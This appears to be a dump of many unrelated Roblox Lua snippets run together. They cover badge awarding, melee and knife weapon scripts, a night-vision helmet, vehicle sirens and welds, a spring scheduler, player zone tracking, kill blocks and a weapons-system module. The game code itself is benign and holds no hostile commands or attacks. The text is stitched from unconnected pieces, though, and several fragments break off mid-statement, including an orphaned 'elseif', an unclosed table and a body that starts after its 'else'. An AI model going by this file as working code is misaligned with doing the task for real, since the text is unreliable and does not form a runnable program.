local db = false function OnTouch(part) if db then return else db = true end if (part.Parent:FindFirstChild("Humanoid") ~= nil) then local p = game.Players:GetPlayerFromCharacter(part.Parent) if (p ~= nil) then if not game:GetService("BadgeService"):UserHasBadge(p.userId, script.Parent.BadgeID.Value) then print("Awarding BadgeID: " ..script.Parent.BadgeID.Value .. " to UserID: " .. p.userId) local b = game:GetService("BadgeService") b:AwardBadge(p.userId, script.Parent.BadgeID.Value) game.PointsService:AwardPoints(p.userId,1000) wait(4 + math.random()) end end end db = false end script.Parent.Touched:connect(OnTouch)
--just send ur backup tick to the function and it should work fineeeee
tool.Activated:Connect(function() if state == "idle" then state = "swinging" for i,v in pairs(hitpeople) do hitpeople[i] = nil end local backuptick = equiptick if (tick() - lastswingtick) > 2 then swinganimation = 0 end if swinganimation == 0 then swinganimation = 1 charhum.WalkSpeed = charhum.WalkSpeed + speedbuff pose("swing", 1, 0.25*animslowdownmult, backuptick) wait(0.2*animslowdownmult) trail.Enabled = true remote:FireClient(player, "1") playswingid() pose("swing", 2, 0.05*animslowdownmult, backuptick) wait(0.05*animslowdownmult) pose("swing", 3, 0.2*animslowdownmult, backuptick) wait(0.2*animslowdownmult) remote:FireClient(player, "2") trail.Enabled = false charhum.WalkSpeed = charhum.WalkSpeed - speedbuff pose("equip", 2, 0.5*animslowdownmult, backuptick) wait(0.3*animslowdownmult) if backuptick == equiptick then state = "idle" end elseif swinganimation == 1 then swinganimation = 2 charhum.WalkSpeed = charhum.WalkSpeed + speedbuff pose("swing2", 1, 0.25*animslowdownmult, backuptick) wait(0.2*animslowdownmult) trail.Enabled = true remote:FireClient(player, "1") playswingid() pose("swing2", 2, 0.15*animslowdownmult, backuptick) wait(0.15*animslowdownmult) pose("swing2", 3, 0.1*animslowdownmult, backuptick) wait(0.1*animslowdownmult) charhum.WalkSpeed = charhum.WalkSpeed - speedbuff pose("swing2", 4, 0.2*animslowdownmult, backuptick) wait(0.2*animslowdownmult) remote:FireClient(player, "2") trail.Enabled = false pose("equip", 2, 0.5*animslowdownmult, backuptick) wait(0.3*animslowdownmult) if backuptick == equiptick then state = "idle" end elseif swinganimation == 2 then swinganimation = 0 charhum.WalkSpeed = charhum.WalkSpeed + speedbuff pose("swing3", 1, 0.1*animslowdownmult, backuptick) wait(0.1*animslowdownmult) pose("swing3", 2, 0.35*animslowdownmult, backuptick) wait(0.3*animslowdownmult) trail.Enabled = true remote:FireClient(player, "1") playswingid() pose("swing3", 3, 0.1*animslowdownmult, backuptick) wait(0.1*animslowdownmult) pose("swing3", 4, 0.16*animslowdownmult, backuptick) wait(0.08*animslowdownmult) remote:FireClient(player, "2") trail.Enabled = false charhum.WalkSpeed = charhum.WalkSpeed - speedbuff pose("swing3", 5, 0.1*animslowdownmult, backuptick) wait(0.1*animslowdownmult) pose("equip", 2, 0.5*animslowdownmult, backuptick) wait(0.5*animslowdownmult) if backuptick == equiptick then state = "idle" end end lastswingtick = tick() end end) tool.Equipped:Connect(function() state = "equipping" validatetick = tick() local backuptick = validatetick equiptick = validatetick player = players:GetPlayerFromCharacter(tool.Parent) character = player.Character charhum = character:FindFirstChildOfClass("Humanoid") weldlimb(character.HumanoidRootPart, character.Torso, cfnew(), "HumanoidRootPartWeld") weldlimb(character.Torso, character.Head, cfnew(0,1.5,0), "HeadWeld") weldlimb(character.Head, character["Right Arm"], cfnew(1.43301296, -0.691987038, 0.466506958, 0.866025388, 0, 0.5, -0.249999985, -0.866025329, 0.433012664, 0.433012694, -0.5, -0.75), "RightArmWeld") weldlimb(character.Head, character["Left Arm"], cfnew(-1.5, -1.5, 0, 1, 0, 0, 0, 0.99999994, 0, 0, 0, 1), "LeftArmWeld") local grip = character["Right Arm"]:WaitForChild("RightGrip") grip.C0 = cfnew(0.00500011444, -1, -1.34000015, -1.74622983e-10, 1.00000036, -6.56216748e-11, 0.999999881, -1.74622955e-10, 8.9406953e-08, -8.94069672e-08, 6.56216748e-11, -1) pose("equip", 1, 0.25, backuptick) wait(0.25) pose("equip", 2, 0.25, backuptick) wait(0.2) if state == "equipping" then state = "idle" end end) tool.Unequipped:Connect(function() state = "unequipped" local limb1 = findthing("HeadWeld", character) local limb2 = findthing("RightArmWeld", character) local limb3 = findthing("LeftArmWeld", character) local limb4 = findthing("HumanoidRootPartWeld", character) if limb1 then limb1:Destroy() end if limb2 then limb2:Destroy() end if limb3 then limb3:Destroy() end if limb4 then limb4:Destroy() end end)
-- Local Variables
local TimeObject = workspace:WaitForChild('MapPurgeProof'):WaitForChild('Time') local ScreenGui = script.Parent.ScreenGui local Timer = ScreenGui.ScoreFrame.Frame.Timer local Events = game:GetService("ReplicatedStorage").Events local DisplayTimerInfo = Events.DisplayTimerInfo
--------| Reference |--------
local isServer = _L.Services.RunService:IsServer() local events = {} local funcs = {}
--Weld stuff here
MakeWeld(misc.Wiper.Hinge,car.DriveSeat,"Motor",.1) ModelWeld(misc.Wiper.Parts,misc.Wiper.Hinge) MakeWeld(misc.Wiper2.Hinge,car.DriveSeat,"Motor",.1) ModelWeld(misc.Wiper2.Parts,misc.Wiper2.Hinge) MakeWeld(car.Misc.Spoiler.SS,car.DriveSeat,"Motor",.04).Name="W" ModelWeld(car.Misc.Spoiler.Parts,car.Misc.Spoiler.SS) car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ----------------------------------------------------------------
function Create(ty,data) local obj if type(ty) == 'string' then obj = Instance.new(ty) else obj = ty end for k, v in pairs(data) do if type(k) == 'number' then v.Parent = obj else obj[k] = v end end return obj end local barActive = false local activeOptions = {} function createDDown(dBut, callback,...) if barActive then for i,v in pairs(activeOptions) do v:Destroy() end activeOptions = {} barActive = false return else barActive = true end local slots = {...} local base = dBut for i,v in pairs(slots) do local newOption = base:Clone() newOption.ZIndex = 5 newOption.Name = "Option "..tostring(i) newOption.Parent = base.Parent.Parent.Parent newOption.BackgroundTransparency = 0 newOption.ZIndex = 2 table.insert(activeOptions,newOption) newOption.Position = UDim2.new(-0.4, dBut.Position.X.Offset, dBut.Position.Y.Scale, dBut.Position.Y.Offset + (#activeOptions * dBut.Size.Y.Offset)) newOption.Text = slots[i] newOption.MouseButton1Down:connect(function() dBut.Text = slots[i] callback(slots[i]) for i,v in pairs(activeOptions) do v:Destroy() end activeOptions = {} barActive = false end) end end
-- Variables
local rs = game:GetService("RunService") local plr = game.Players.LocalPlayer local char = plr.Character local mFrame = script.Parent local iContainer = mFrame.ItemContainer local currentTool = nil
--------------------- TEMPLATE BLADE WEAPON --------------------------- -- Waits for the child of the specified parent
local function WaitForChild(parent, childName) while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end local SLASH_DAMAGE = 20 local DOWNSTAB_DAMAGE = 35 local THROWING_DAMAGE = 40 local HOLD_TO_THROW_TIME = 0.38 local Damage = 20 local MyHumanoid = nil local MyTorso = nil local MyCharacter = nil local MyPlayer = nil local Tool = script.Parent local Handle = WaitForChild(Tool, 'Handle') local BlowConnection local Button1DownConnection local Button1UpConnection local PlayStabPunch local PlayDownStab local PlayThrow local PlayThrowCharge local IconUrl = Tool.TextureId -- URL to the weapon knife icon asset local DebrisService = Game:GetService('Debris') local PlayersService = Game:GetService('Players') local SlashSound local HitPlayers = {} local LeftButtonDownTime = nil local Attacking = false function Blow(hit) if Attacking then BlowDamage(hit, Damage) end end function BlowDamage(hit, damage) local humanoid = hit.Parent:FindFirstChild('Humanoid') local player = PlayersService:GetPlayerFromCharacter(hit.Parent) if humanoid ~= nil and MyHumanoid ~= nil and humanoid ~= MyHumanoid then if not MyPlayer.Neutral then -- Ignore teammates hit if player and player ~= MyPlayer and player.TeamColor == MyPlayer.TeamColor then return end end -- final check, make sure weapon is in-hand local rightArm = MyCharacter:FindFirstChild('Right Arm') if (rightArm ~= nil) then -- Check if the weld exists between the hand and the weapon local joint = rightArm:FindFirstChild('RightGrip') if (joint ~= nil and (joint.Part0 == Handle or joint.Part1 == Handle)) then -- Make sure you only hit them once per swing if player and not HitPlayers[player] then TagHumanoid(humanoid, MyPlayer) print("Sending " .. damage) humanoid:TakeDamage(damage) Handle.Splat.Volume = 1 HitPlayers[player] = true end end end end end function TagHumanoid(humanoid, player) -- Add more tags here to customize what tags are available. while humanoid:FindFirstChild('creator') do humanoid:FindFirstChild('creator'):Destroy() end local creatorTag = Instance.new('ObjectValue') creatorTag.Value = player creatorTag.Name = 'creator' creatorTag.Parent = humanoid DebrisService:AddItem(creatorTag, 1.5) local weaponIconTag = Instance.new('StringValue') weaponIconTag.Value = IconUrl weaponIconTag.Name = 'icon' weaponIconTag.Parent = creatorTag DebrisService:AddItem(weaponIconTag, 1.5) end function HardAttack() Damage = SLASH_DAMAGE SlashSound:play() if PlayStabPunch then PlayStabPunch.Value = true wait(1.0) PlayStabPunch.Value = false end end function NormalAttack() Damage = DOWNSTAB_DAMAGE KnifeDown() SlashSound:play() if PlayDownStab then PlayDownStab.Value = true wait(1.0) PlayDownStab.Value = false end KnifeUp() end function ThrowAttack() KnifeOut() if PlayThrow then PlayThrow.Value = true wait(0.3) if not Handle then return end local throwingHandle = Handle:Clone() DebrisService:AddItem(throwingHandle, 5) throwingHandle.Parent = Workspace if MyCharacter and MyHumanoid then throwingHandle.Velocity = (MyHumanoid.TargetPoint - throwingHandle.CFrame.p).unit * 100 -- set the orientation to the direction it is being thrown in throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90)) local floatingForce = Instance.new('BodyForce', throwingHandle) floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0) local spin = Instance.new('BodyAngularVelocity', throwingHandle) spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0)) end Handle.Transparency = 1 -- Wait so that the knife has left the thrower's general area wait(0.08) if throwingHandle then local touchedConn = throwingHandle.Touched:connect(function(hit) print("hit throw") BlowDamage(hit, THROWING_DAMAGE) end) end -- must check if it still exists since we waited if throwingHandle then throwingHandle.CanCollide = true end wait(0.6) if Handle and PlayThrow then Handle.Transparency = 0 PlayThrow.Value = false end end KnifeUp() end function KnifeUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function KnifeDown() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,-1) end function KnifeOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end Tool.Enabled = true function OnLeftButtonDown() LeftButtonDownTime = time() if PlayThrowCharge then PlayThrowCharge.Value = true end end function OnLeftButtonUp() if not Tool.Enabled then return end -- Reset the list of hit players every time we start a new attack HitPlayers = {} if PlayThrowCharge then PlayThrowCharge.Value = false end if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then Tool.Enabled = false local currTime = time() if LeftButtonDownTime and currTime - LeftButtonDownTime > HOLD_TO_THROW_TIME and currTime - LeftButtonDownTime < 1.15 then ThrowAttack() else Attacking = true if math.random(1, 2) == 1 then HardAttack() else NormalAttack() end Attacking = false end Tool.Enabled = true end end function OnEquipped(mouse) PlayStabPunch = WaitForChild(Tool, 'PlayStabPunch') PlayDownStab = WaitForChild(Tool, 'PlayDownStab') PlayThrow = WaitForChild(Tool, 'PlayThrow') PlayThrowCharge = WaitForChild(Tool, 'PlayThrowCharge') SlashSound = WaitForChild(Handle, 'Swoosh1') Handle.Splat.Volume = 0 SlashSound:play() BlowConnection = Handle.Touched:connect(Blow) MyCharacter = Tool.Parent MyTorso = MyCharacter:FindFirstChild('Torso') MyHumanoid = MyCharacter:FindFirstChild('Humanoid') MyPlayer = PlayersService.LocalPlayer if mouse then Button1DownConnection = mouse.Button1Down:connect(OnLeftButtonDown) Button1UpConnection = mouse.Button1Up:connect(OnLeftButtonUp) end KnifeUp() end function OnUnequipped() -- Unequip logic here if BlowConnection then BlowConnection:disconnect() BlowConnection = nil end if Button1DownConnection then Button1DownConnection:disconnect() Button1DownConnection = nil end if Button1UpConnection then Button1UpConnection:disconnect() Button1UpConnection = nil end MyHumanoid = nil end Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped)
--//DEFAULT VALUES
local defexposure = game.Lighting.ExposureCompensation local nvg local onanim local gui local offanim local config local onremoved local setting local helmet function removehelmet() if plr.Character then onremoved:Disconnect() animating = false togglenvg(false) actionservice:UnbindAction("nvgtoggle") if gui then gui:Destroy() end if helmet then helmet:Destroy() end end end function oncharadded(newchar) newchar:WaitForChild("Humanoid").Died:connect(function() removehelmet() end) newchar.ChildAdded:connect(function(child) local removebutton if child.Name == "Helmet" then helmet = child gui = Instance.new("ScreenGui") gui.IgnoreGuiInset = true removebutton = Instance.new("TextButton") removebutton.Text = "Helmet" removebutton.Size = UDim2.new(.05,0,.035,0) removebutton.TextColor3 = Color3.new(.75,.75,.75) removebutton.Position = UDim2.new(.1,0,.3,0) removebutton.BackgroundTransparency = .45 removebutton.BackgroundColor3 = Color3.fromRGB(124, 52, 38) removebutton.Font = Enum.Font.SourceSansBold removebutton.TextScaled = true removebutton.MouseButton1Down:connect(removehelmet) removebutton.Parent = gui gui.Parent = plr.PlayerGui onremoved = child.AncestryChanged:Connect(function(_, parent) if not parent then removehelmet() end end) end local newnvg = child:WaitForChild("Up",.5) if newnvg then nvg = newnvg config = require(nvg:WaitForChild("AUTO_CONFIG")) setting = nvg:WaitForChild("NVG_Settings") local noise = Instance.new("ImageLabel") noise.BackgroundTransparency = 1 noise.ImageTransparency = 1 local overlay = noise:Clone() overlay.Image = "rbxassetid://"..setting.OverlayImage.Value overlay.Size = UDim2.new(1,0,1,0) overlay.Name = "Overlay" local buttonpos = setting.RemoveButtonPosition.Value removebutton.Position = UDim2.new(buttonpos.X,0,buttonpos.Y,0) noise.Name = "Noise" noise.AnchorPoint = Vector2.new(.5,.5) noise.Position = UDim2.new(.5,0,.5,0) noise.Size = UDim2.new(2,0,2,0) overlay.Parent = gui noise.Parent = gui local info = config.tweeninfo local function addtweens(base,extra) if extra then for _,tween in pairs(extra)do table.insert(base,tween) end end end onanim = config.onanim offanim = config.offanim on_overlayanim = { tweenservice:Create(game.Lighting,info,{ExposureCompensation = setting.Exposure.Value}), tweenservice:Create(colorcorrection,info,{Brightness = setting.OverlayBrightness.Value,Contrast = .8,Saturation = -1,TintColor = setting.OverlayColor.Value}), tweenservice:Create(gui.Overlay,info,{ImageTransparency = 0}), tweenservice:Create(gui.Noise,info,{ImageTransparency = 0}), } off_overlayanim = { tweenservice:Create(game.Lighting,info,{ExposureCompensation = defexposure}), tweenservice:Create(colorcorrection,info,{Brightness = 0,Contrast = 0,Saturation = 0,TintColor = Color3.fromRGB(255, 255, 255)}), tweenservice:Create(gui.Overlay,info,{ImageTransparency = 1}), tweenservice:Create(gui.Noise,info,{ImageTransparency = 1}) } actionservice:BindAction("nvgtoggle",function() togglenvg(not nvgactive) return Enum.ContextActionResult.Pass end, true, Enum.KeyCode.N) end end) end plr.CharacterAdded:connect(oncharadded) local oldchar = workspace:FindFirstChild(plr.Name) if oldchar then oncharadded(oldchar) end function playtween(tweentbl) spawn(function() for _,step in pairs(tweentbl) do if typeof(step) == "number" then wait(step) else step:Play() end end end) end function applyprops(obj,props) for propname,val in pairs(props)do obj[propname] = val end end function cycle(grain) local label = gui.Noise local source = grain.src local newframe repeat newframe = source[math.random(1, #source)]; until newframe ~= grain.last label.Image = 'rbxassetid://'..newframe local rand = math.random(230,255) label.Position = UDim2.new(math.random(.4,.6),0,math.random(.4,.6),0) label.ImageColor3 = Color3.fromRGB(rand,rand,rand) grain.last = newframe end function togglenvg(bool) if not animating and nvg then nvgevent:FireServer() gui.TextButton.Visible = not bool animating = true nvgactive = bool if config.lens then config.lens.Material = bool and "Neon" or "Glass" end if bool then playtween(onanim) delay(.75,function() playtween(on_overlayanim) spawn(function() while nvgactive do cycle(config.dark) cycle(config.light) wait(0.05) end end) animating = false end) else playtween(offanim) delay(.5,function() playtween(off_overlayanim) animating = false end) end end end nvgevent.OnClientEvent:connect(function(nvg,activate) local twistjoint = nvg:WaitForChild("twistjoint") local config = require(nvg.AUTO_CONFIG) local lens = config.lens if lens then lens.Material = activate and "Neon" or "Glass" end playtween(config[activate and "onanim" or "offanim"]) end) local lighting = game.Lighting local rs = game.ReplicatedStorage local autolighting = rs:WaitForChild("EnableAutoLighting") if autolighting.Value then function llerp(a,b,t) return a*(1-t)+b*t end local minbrightness = rs:WaitForChild("MinBrightness").Value local maxbrightness = rs:WaitForChild("MaxBrightness").Value local minambient = rs:WaitForChild("MinAmbient").Value local maxambient = rs:WaitForChild("MaxAmbient").Value local minoutdoor = rs:WaitForChild("MinOutdoorAmbient").Value local maxoutdoor = rs:WaitForChild("MaxOutdoorAmbient").Value function setdaytime() local newtime = lighting.ClockTime local middaydiff = math.abs(newtime-12) local f = (1-middaydiff/12) lighting.Brightness = llerp(minbrightness,maxbrightness,f) lighting.Ambient = minambient:lerp(maxambient,f) lighting.OutdoorAmbient = minoutdoor:lerp(maxoutdoor,f) end game:GetService("RunService").RenderStepped:connect(setdaytime) end
--/Recoil Modification
module.camRecoil = { RecoilUp = 1 ,RecoilTilt = 1 ,RecoilLeft = 1 ,RecoilRight = 1 } module.gunRecoil = { RecoilUp = 1 ,RecoilTilt = 1 ,RecoilLeft = 1 ,RecoilRight = 1 } module.AimRecoilReduction = .85 module.AimSpreadReduction = 1 module.MinRecoilPower = 1 module.MaxRecoilPower = 1 module.RecoilPowerStepAmount = 1 module.MinSpread = 1 module.MaxSpread = 1 module.AimInaccuracyStepAmount = 1 module.AimInaccuracyDecrease = 1 module.WalkMult = 1 module.MuzzleVelocityMod = 1 return module
---CODE
elseif folder.KV.Value.Value == "" and config.AllCodes.Value == true then huh.ButtonSound:Play() folder.KV.Value.Value = "" folder.CodePrivate.Value = "" sys.Code.Value = true
-- texan fixed for new ELS :)))
seat = script.Parent.Parent--the car's vehicle seat. Currently can be any part sound = seat.Parent.Sound sirens = {} for i,v in pairs (sound:GetChildren()) do if v:IsA("Sound") and v.Name ~= "horn" then table.insert(sirens,{playing=false,horn=v}) end end function siren() local distto = seat.Values.siren.Value:find(",")+0 local siren1 = seat.Values.siren.Value:sub(1,distto-1) local siren2 = seat.Values.siren.Value:sub(distto+0) for _,i in pairs (sirens) do if i.horn.Name ~= siren1 and i.horn.Name ~= siren2 then i.playing = false i.horn:Stop() end if i.horn.Name == siren1 or i.horn.Name == siren2 then if not i.playing then i.playing = true i.horn:Play() end end end end seat.Values.siren.Changed:connect(siren)
--health.Changed:connect(function() --root.Velocity = Vector3.new(0,5000,0) --end)
local anims = {} local lastAttack= tick() local target,targetType local lastLock = tick() local fleshDamage = 35 local structureDamage = 50 local path = nil local animController = ant:WaitForChild("AnimationController") local preAnims = {
--[[ Removes a Spring from the scheduler. ]]
function SpringScheduler.remove(spring: Spring) local damping = spring._lastDamping local speed = spring._lastSpeed local dampingBucket = springBuckets[damping] if dampingBucket == nil then return end local speedBucket = dampingBucket[speed] if speedBucket == nil then return end speedBucket[spring] = nil end
-- CHARACTER HANDLER -- This enables character data (volume, HumanoidRootParts, etc) to be handled on -- an event-basis, instead of being retrieved every interval
local function updateCharactersTotalVolume() charactersTotalVolume = 0 bodyParts = {} -- We ignore these due to their insignificance (e.g. we ignore the lower and -- upper torso because the HumanoidRootPart also covers these areas) -- This ultimately reduces the burden on the player region checks local bodyPartsToIgnore = { UpperTorso = true, LowerTorso = true, Torso = true, LeftHand = true, RightHand = true, LeftFoot = true, RightFoot = true, } for _, plr in pairs(players:GetPlayers()) do local charRegion = ZoneController.getCharacterRegion(plr) if charRegion then local rSize = charRegion.Size local charVolume = rSize.X*rSize.Y*rSize.Z charactersTotalVolume += charVolume for _, part in pairs(plr.Character:GetChildren()) do if part:IsA("BasePart") and not bodyPartsToIgnore[part.Name] then table.insert(bodyParts, part) end end end end end players.PlayerAdded:Connect(function(plr) plr.CharacterAdded:Connect(function(char) local humanoid = char:WaitForChild("Humanoid", 3) if humanoid then updateCharactersTotalVolume() for _, valueInstance in pairs(humanoid:GetChildren()) do if valueInstance:IsA("NumberValue") then valueInstance.Changed:Connect(function() updateCharactersTotalVolume() end) end end end end) end) players.PlayerRemoving:Connect(function(plr) updateCharactersTotalVolume() playerExitDetections[plr] = nil end)
----------
local Lobby = Roact.PureComponent:extend("Lobby")
-- Called when character is about to be removed
function BaseOcclusion:CharacterRemoving(char, player) end function BaseOcclusion:OnCameraSubjectChanged(newSubject) end
-- Roblox character sound script
local Players = game:GetService("Players") local RunService = game:GetService("RunService") local SOUND_DATA : { [string]: {[string]: any}} = { Climbing = { SoundId = "", Looped = true, }, Died = { SoundId = "", }, FreeFalling = { SoundId = "", Looped = true, }, GettingUp = { SoundId = "", }, Jumping = { SoundId = "", }, Landing = { SoundId = "", }, Running = { SoundId = "rbxassetid://10298831700", Looped = true, Volume = 0.2, }, Splash = { SoundId = "", }, Swimming = { SoundId = "", Looped = true, Pitch = 1.6, }, }
--[[ body.MP.Sound.Changed:Connect(function(val) if val == "Volume" then --body.MP.Sound.Volume = body.Parent.DriveSeat.Values.MusicVolume.Value body.MP.OutsideSound.Volume = 0 --prevents muffle -- body.MP.OutsideSound.Muffle.Enabled = false end end)--]]
--[[ -- Example enum createEnum("Color", { {"White", 1, Color3.fromRGB(255, 255, 255)}, {"Black", 2, Color3.fromRGB(0, 0, 0)}, }) --]]
return Enum
--// F key, Horn
mouse.KeyUp:connect(function(key) if key=="f" then veh.Lightbar.middle.Airhorn:Stop() end end) mouse.KeyDown:connect(function(key) if key=="j" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.RemoteEvent:FireServer(true) end end)
-- places a death touch on all green parts, kill blocks.
local waits = .01 local debounce = false for _, x in pairs(game:GetService("Workspace"):GetDescendants()) do if x:IsA("Part") then if x.Color == Color3.fromRGB(0,255,0) then x.Touched:Connect(function(player) pcall(function() local plr = game:GetService("Players"):GetPlayerFromCharacter(player.Parent) local human = plr.Character.Humanoid if human then if not debounce then -- Check that debounce variable is not true debounce = true -- Set variable to true plr.Character:WaitForChild("Humanoid").Health = 0 debounce = false -- Reset variable to false end else end end) end) end end end
--[=[ @within Gamepad @prop ButtonUp Signal<(button: Enum.KeyCode, processed: boolean)> @readonly The ButtonUp signal fires when a gamepad button is released. The released KeyCode is passed to the signal, along with whether or not the event was processed. ```lua gamepad.ButtonUp:Connect(function(button: Enum.KeyCode, processed: boolean) print("Button up", button, processed) end) ``` ]=]
--[[ Poppercam - Occlusion module that brings the camera closer to the subject when objects are blocking the view Refactored for 2018 Camera Update but functionality is unchanged - AllYourBlox --]]
--!strict
type Object = { [string]: any } local Array = require(script.Parent.Parent.Array) type Array<T> = Array.Array<T> type Tuple<T, V> = Array<T | V> return function(value: string | Object | Array<any>): Array<any> assert(value :: any ~= nil, "cannot get entries from a nil value") local valueType = typeof(value) local entries: Array<Tuple<string, any>> = {} if valueType == "table" then for key, keyValue in pairs(value :: Object) do -- Luau FIXME: Luau should see entries as Array<any>, given object is [string]: any, but it sees it as Array<Array<string>> despite all the manual annotation table.insert(entries, { key :: string, keyValue :: any }) end elseif valueType == "string" then for i = 1, string.len(value :: string) do entries[i] = { tostring(i), string.sub(value :: string, i, i) } end end return entries end
--WeaponsSystem.camera:setEnabled(false)
Camera.CFrame = original_cameraCF else WeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true) humanoid:EquipTool(WeaponsSystem.seatedWeapon) end end) end function WeaponsSystem.shutdown() if not WeaponsSystem.didSetup then return end for _, weapon in pairs(WeaponsSystem.knownWeapons) do weapon:onDestroyed() end WeaponsSystem.knownWeapons = {} if IsServer and WeaponsSystem.networkFolder then WeaponsSystem.networkFolder:Destroy() end WeaponsSystem.networkFolder = nil WeaponsSystem.remoteEvents = {} WeaponsSystem.remoteFunctions = {} for _, connection in pairs(WeaponsSystem.connections) do if typeof(connection) == "RBXScriptConnection" then connection:Disconnect() end end WeaponsSystem.connections = {} end function WeaponsSystem.getWeaponTypeFromTags(instance) for _, tag in pairs(CollectionService:GetTags(instance)) do local weaponTypeFound = WEAPON_TYPES_LOOKUP[tag] if weaponTypeFound then return weaponTypeFound end end return nil end function WeaponsSystem.createWeaponForInstance(weaponInstance) coroutine.wrap(function() local weaponType = WeaponsSystem.getWeaponTypeFromTags(weaponInstance) if not weaponType then local weaponTypeObj = weaponInstance:WaitForChild("WeaponType") if weaponTypeObj and weaponTypeObj:IsA("StringValue") then local weaponTypeName = weaponTypeObj.Value local weaponTypeFound = WEAPON_TYPES_LOOKUP[weaponTypeName] if not weaponTypeFound then warn(string.format("Cannot find the weapon type \"%s\" for the instance %s!", weaponTypeName, weaponInstance:GetFullName())) return end weaponType = weaponTypeFound else warn("Could not find a WeaponType tag or StringValue for the instance ", weaponInstance:GetFullName()) return end end -- Since we might have yielded while trying to get the WeaponType, we need to make sure not to continue -- making a new weapon if something else beat this iteration. if WeaponsSystem.getWeaponForInstance(weaponInstance) then warn("Already got ", weaponInstance:GetFullName()) warn(debug.traceback()) return end -- We should be pretty sure we got a valid weaponType by now assert(weaponType, "Got invalid weaponType") local weapon = weaponType.new(WeaponsSystem, weaponInstance) WeaponsSystem.knownWeapons[weaponInstance] = weapon end)() end function WeaponsSystem.getWeaponForInstance(weaponInstance) if not typeof(weaponInstance) == "Instance" then warn("WeaponsSystem.getWeaponForInstance(weaponInstance): 'weaponInstance' was not an instance.") return nil end return WeaponsSystem.knownWeapons[weaponInstance] end